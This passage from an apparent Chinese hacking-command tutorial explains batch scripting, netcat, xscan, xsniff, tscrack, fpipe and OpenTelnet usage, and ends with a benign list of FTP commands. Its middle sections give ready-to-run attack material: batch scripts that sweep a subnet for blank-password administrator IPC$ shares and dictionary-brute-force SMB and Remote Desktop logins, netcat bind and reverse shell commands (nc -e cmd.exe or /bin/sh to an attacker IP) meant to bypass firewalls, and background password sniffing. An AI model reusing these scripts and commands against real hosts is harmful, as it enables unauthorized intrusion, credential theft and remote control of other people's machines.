telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值